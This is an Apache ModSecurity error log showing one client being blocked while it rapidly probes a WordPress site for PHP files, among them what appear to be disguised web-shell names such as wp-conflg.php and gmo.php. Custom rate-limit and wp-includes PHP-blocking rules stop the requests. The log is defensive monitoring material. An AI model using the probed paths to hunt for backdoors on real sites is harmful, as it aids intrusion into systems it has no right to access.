[Mon Dec 15 20:16:36.973551 2025] [:error] [pid 31372:tid 31394] [client 20.27.228.201:17768] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aT_8JAN06qRtpJxyxHiZrQAAAJI"]
[Mon Dec 15 20:16:37.359371 2025] [:error] [pid 52155:tid 52165] [client 20.27.228.201:17733] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aT_8JRaJK6javjid3xyopwAAAQc"]
[Mon Dec 15 20:16:37.830749 2025] [:error] [pid 31459:tid 31463] [client 20.27.228.201:17687] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aT_8JTqerS0TDpViRzteTwAAAAI"]
[Mon Dec 15 20:16:38.190681 2025] [:error] [pid 52155:tid 52177] [client 20.27.228.201:17729] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aT_8JhaJK6javjid3xyoqgAAARM"]
[Mon Dec 15 20:16:38.571166 2025] [:error] [pid 52155:tid 52167] [client 20.27.228.201:17766] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aT_8JhaJK6javjid3xyorAAAAQk"]
[Mon Dec 15 20:16:38.941903 2025] [:error] [pid 31373:tid 31427] [client 20.27.228.201:17670] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/function.php"] [unique_id "aT_8JnFdnrU7ASwItVLYawAAANY"]
[Mon Dec 15 20:16:39.205459 2025] [:error] [pid 31459:tid 31480] [client 20.27.228.201:17682] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aT_8JzqerS0TDpViRzteUAAAABM"]
[Mon Dec 15 20:16:39.524782 2025] [:error] [pid 31459:tid 31479] [client 20.27.228.201:17746] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aT_8JzqerS0TDpViRzteUQAAABI"]
[Mon Dec 15 20:16:39.854105 2025] [:error] [pid 31459:tid 31471] [client 20.27.228.201:17787] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aT_8JzqerS0TDpViRzteVQAAAAo"]
[Mon Dec 15 20:16:40.146783 2025] [:error] [pid 52155:tid 52173] [client 20.27.228.201:17775] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aT_8KBaJK6javjid3xyorgAAAQ8"]
[Mon Dec 15 20:16:40.423344 2025] [:error] [pid 31373:tid 31412] [client 20.27.228.201:17676] [client 20.27.228.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aT_8KHFdnrU7ASwItVLYbQAAAMc"]
[Mon Dec 15 20:16:40.752654 2025] [:error] [pid 31459:tid 31461] [client 20.27.228.201:17772] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aT_8KDqerS0TDpViRzteVgAAAAA"]
[Mon Dec 15 20:16:41.020799 2025] [:error] [pid 31373:tid 31422] [client 20.27.228.201:17690] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aT_8KXFdnrU7ASwItVLYbgAAANE"]
[Mon Dec 15 20:16:41.308092 2025] [:error] [pid 31459:tid 31477] [client 20.27.228.201:17781] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aT_8KTqerS0TDpViRzteWAAAABA"]
[Mon Dec 15 20:16:41.689037 2025] [:error] [pid 52155:tid 52177] [client 20.27.228.201:17774] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aT_8KRaJK6javjid3xyosgAAARM"]
[Mon Dec 15 20:16:42.012145 2025] [:error] [pid 31372:tid 31384] [client 20.27.228.201:17695] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aT_8KgN06qRtpJxyxHiZrgAAAIg"]
[Mon Dec 15 20:16:42.378984 2025] [:error] [pid 52155:tid 52163] [client 20.27.228.201:12249] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aT_8KhaJK6javjid3xyoswAAAQU"]
[Mon Dec 15 20:16:42.683988 2025] [:error] [pid 31459:tid 31482] [client 20.27.228.201:17749] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aT_8KjqerS0TDpViRzteXAAAABU"]
[Mon Dec 15 20:16:42.972241 2025] [:error] [pid 31459:tid 31480] [client 20.27.228.201:17764] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aT_8KjqerS0TDpViRzteXQAAABM"]
[Mon Dec 15 20:16:43.317387 2025] [:error] [pid 31372:tid 31376] [client 20.27.228.201:17741] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aT_8KwN06qRtpJxyxHiZsQAAAIA"]
[Mon Dec 15 20:16:43.720680 2025] [:error] [pid 31373:tid 31416] [client 20.27.228.201:17693] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aT_8K3FdnrU7ASwItVLYcAAAAMs"]
[Mon Dec 15 20:16:44.015536 2025] [:error] [pid 31373:tid 31425] [client 20.27.228.201:12268] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aT_8LHFdnrU7ASwItVLYcgAAANQ"]
[Mon Dec 15 20:16:44.465866 2025] [:error] [pid 52155:tid 52176] [client 20.27.228.201:17782] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/c.php"] [unique_id "aT_8LBaJK6javjid3xyotQAAARI"]
[Mon Dec 15 20:16:44.742070 2025] [:error] [pid 31372:tid 31396] [client 20.27.228.201:17761] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "aT_8LAN06qRtpJxyxHiZuAAAAJQ"]
[Mon Dec 15 20:16:45.002136 2025] [:error] [pid 31373:tid 31420] [client 20.27.228.201:17786] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "aT_8LXFdnrU7ASwItVLYdAAAAM8"]
[Mon Dec 15 20:16:45.314738 2025] [:error] [pid 31373:tid 31405] [client 20.27.228.201:17717] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "aT_8LXFdnrU7ASwItVLYdgAAAMA"]
[Mon Dec 15 20:16:45.616982 2025] [:error] [pid 52155:tid 52161] [client 20.27.228.201:17667] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "aT_8LRaJK6javjid3xyotwAAAQM"]
[Mon Dec 15 20:16:45.881543 2025] [:error] [pid 31459:tid 31461] [client 20.27.228.201:17783] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aT_8LTqerS0TDpViRzteYAAAAAA"]
[Mon Dec 15 20:16:46.265242 2025] [:error] [pid 31373:tid 31428] [client 20.27.228.201:17707] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aT_8LnFdnrU7ASwItVLYeAAAANc"]
[Mon Dec 15 20:16:46.554414 2025] [:error] [pid 31459:tid 31467] [client 20.27.228.201:17754] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aT_8LjqerS0TDpViRzteYgAAAAY"]
[Mon Dec 15 20:16:46.902891 2025] [:error] [pid 31459:tid 31463] [client 20.27.228.201:17684] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aT_8LjqerS0TDpViRzteZAAAAAI"]
[Mon Dec 15 20:16:47.165781 2025] [:error] [pid 31459:tid 31472] [client 20.27.228.201:17702] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aT_8LzqerS0TDpViRzteZgAAAAs"]
[Mon Dec 15 20:16:47.485400 2025] [:error] [pid 31374:tid 31445] [client 20.27.228.201:17784] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aT_8L5zSh8b7uk6RWiFZnwAAAE0"]
[Mon Dec 15 20:16:47.800357 2025] [:error] [pid 31374:tid 31448] [client 20.27.228.201:17757] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aT_8L5zSh8b7uk6RWiFZoQAAAFA"]
[Mon Dec 15 20:16:48.071603 2025] [:error] [pid 31374:tid 31453] [client 20.27.228.201:17730] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/atomlib.php"] [unique_id "aT_8MJzSh8b7uk6RWiFZowAAAFU"]
[Mon Dec 15 20:16:48.338509 2025] [:error] [pid 31374:tid 31451] [client 20.27.228.201:17686] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aT_8MJzSh8b7uk6RWiFZpAAAAFM"]
[Mon Dec 15 20:16:48.670732 2025] [:error] [pid 31459:tid 31484] [client 20.27.228.201:17731] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aT_8MDqerS0TDpViRzteawAAABc"]
[Mon Dec 15 20:16:48.951207 2025] [:error] [pid 31374:tid 31434] [client 20.27.228.201:17672] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aT_8MJzSh8b7uk6RWiFZpwAAAEI"]
[Mon Dec 15 20:16:49.235980 2025] [:error] [pid 31373:tid 31418] [client 20.27.228.201:17779] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a.php"] [unique_id "aT_8MXFdnrU7ASwItVLYewAAAM0"]
[Mon Dec 15 20:16:49.544169 2025] [:error] [pid 31374:tid 31442] [client 20.27.228.201:17696] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aT_8MZzSh8b7uk6RWiFZqwAAAEo"]
[Mon Dec 15 20:16:49.821484 2025] [:error] [pid 52155:tid 52181] [client 20.27.228.201:17723] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aT_8MRaJK6javjid3xyouQAAARc"]
[Mon Dec 15 20:16:50.119711 2025] [:error] [pid 52155:tid 52160] [client 20.27.228.201:17721] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aT_8MhaJK6javjid3xyouwAAAQI"]
[Mon Dec 15 20:16:50.455400 2025] [:error] [pid 52155:tid 52166] [client 20.27.228.201:17780] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aT_8MhaJK6javjid3xyowAAAAQg"]
[Mon Dec 15 20:16:50.742924 2025] [:error] [pid 52155:tid 52175] [client 20.27.228.201:12234] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-configs.php"] [unique_id "aT_8MhaJK6javjid3xyowgAAARE"]
[Mon Dec 15 20:16:51.804017 2025] [:error] [pid 31459:tid 31474] [client 20.27.228.201:17765] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-configs.php"] [unique_id "aT_8MzqerS0TDpViRztebwAAAA0"]
[Mon Dec 15 20:16:52.333808 2025] [:error] [pid 52155:tid 52162] [client 20.27.228.201:17737] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-configs.php"] [unique_id "aT_8NBaJK6javjid3xyoyQAAAQQ"]
[Mon Dec 15 20:16:52.980206 2025] [:error] [pid 31372:tid 31396] [client 20.27.228.201:12235] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-configs.php"] [unique_id "aT_8NAN06qRtpJxyxHiZvwAAAJQ"]
[Mon Dec 15 20:16:53.492098 2025] [:error] [pid 31372:tid 31382] [client 20.27.228.201:17773] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aT_8NQN06qRtpJxyxHiZwAAAAIY"]
[Mon Dec 15 20:16:53.867596 2025] [:error] [pid 52155:tid 52172] [client 20.27.228.201:12241] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aT_8NRaJK6javjid3xyoywAAAQ4"]
[Mon Dec 15 20:16:54.244469 2025] [:error] [pid 31372:tid 31392] [client 20.27.228.201:12242] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aT_8NgN06qRtpJxyxHiZwwAAAJA"]
[Mon Dec 15 20:16:54.533952 2025] [:error] [pid 31459:tid 31471] [client 20.27.228.201:17714] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aT_8NjqerS0TDpViRztecgAAAAo"]
[Mon Dec 15 20:16:55.376674 2025] [:error] [pid 31373:tid 31407] [client 20.27.228.201:12257] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/license.php"] [unique_id "aT_8N3FdnrU7ASwItVLYggAAAMI"]
[Mon Dec 15 20:16:55.706173 2025] [:error] [pid 52155:tid 52175] [client 20.27.228.201:17719] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/license.php"] [unique_id "aT_8NxaJK6javjid3xyozQAAARE"]
[Mon Dec 15 20:16:55.991759 2025] [:error] [pid 31373:tid 31421] [client 20.27.228.201:17771] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/license.php"] [unique_id "aT_8N3FdnrU7ASwItVLYhQAAANA"]
[Mon Dec 15 20:16:56.595039 2025] [:error] [pid 31374:tid 31437] [client 20.27.228.201:17713] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/license.php"] [unique_id "aT_8OJzSh8b7uk6RWiFZtAAAAEU"]
[Mon Dec 15 20:16:57.075812 2025] [:error] [pid 31459:tid 31483] [client 20.27.228.201:17677] [client 20.27.228.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yanz.php"] [unique_id "aT_8OTqerS0TDpViRztedgAAABY"]
